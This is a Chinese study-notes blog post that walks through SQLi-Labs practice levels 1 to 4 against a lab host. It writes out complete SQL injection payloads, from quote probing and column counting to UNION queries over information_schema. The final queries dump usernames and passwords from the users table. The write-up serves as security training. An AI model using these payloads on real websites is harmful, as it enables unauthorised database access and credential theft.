zoukankan      html  css  js  c++  java
  • SQLILABS学习笔记(一)

    逼话少说,如有错误,烦请指出,谢谢。

    第一关

    提示传个id的参数

    后面跟个单引号

    http://10.2.10.31/sqli/Less-1/?id=1

     

    发现报错,这里看到是已经闭合了

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

    从报错内容中可以看出id传入的是str类型,可以分解成这样来看

    传递了一个1‘的参数,并且1’的参数用单引号包裹,最后再最外层一层单引号

    '  '  1'   ' LIMIT 0,1  '

    然后再进行order by 来排序确定字段数

    http://10.2.10.31/sqli/Less-1/?id=1' order by 3 --+ 返回正常

    http://10.2.10.31/sqli/Less-1/?id=1' order by 4 --+ 返回错误

    可以确定字段数为3

    联合注入查询

    后采用联合注入查看当前数据库名和数据库版本号

    查询时发现只返回前面一条的查询数据,那就把id=-1,让前面的查询为空,就会返回后面的查询结果

    http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,database(),version() --+

    跨库查询表内的表名

    http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'  --+

    group_concat这个函数可以将多个字符串连接成一个字符串,就可以实现把表名一条输出出来

    查询user字段的内容:

    http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'  --+

     

    查询username 和password的值

    http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,username,password from users --+

     

    第一关就到这里结束。

    第二关

    http://10.2.10.31/sqli/Less-2/?id=1%27

     报错信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
     
     
    发现多出来一个单引号,本来就是闭合的,把单引号删掉,按照之前的操作就行了
     
     
    第二关结束
     
     
    第三关
     
     
    测试注入点
     
     
    http://10.2.10.31/sqli/Less-3/?id=1'
     
     
    报错信息
     
     
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

    发现有括号闭合,那就变成

    http://10.2.10.31/sqli/Less-3/?id=1’)

    报错信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1

    这时候就已经闭合了,就按着之前的操作,就解决了

     

    第三关结束

    第四关

    测试注入点

    http://10.2.10.31/sqli/Less-4/?id=1'

    发现没有报错

    改成用双引号

    http://10.2.10.31/sqli/Less-4/?id=1"

    报错信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

    那就用http://10.2.10.31/sqli/Less-4/?id=1")闭合

    按照之前的操作,就可以完成

    第四关结束

  • 相关阅读:
    c#自动更新+安装程序的制作
    VS2013项目受源代码管理向源代码管理注册此项目时出错
    WinDbg配置和使用基础
    InstallShield Limited Edition for Visual Studio 2013 图文教程(教你如何打包.NET程序)
    PowerDesigner 如何生成数据库更新脚本
    用户故事(User Story)
    Troubleshooting Record and Playback issues in Coded UI Test
    Coded UI
    compare two oracle database schemas
    How to: Use Schema Compare to Compare Different Database Definitions
  • 原文地址:https://www.cnblogs.com/qxxaq/p/11454064.html
Copyright © 2011-2022 走看看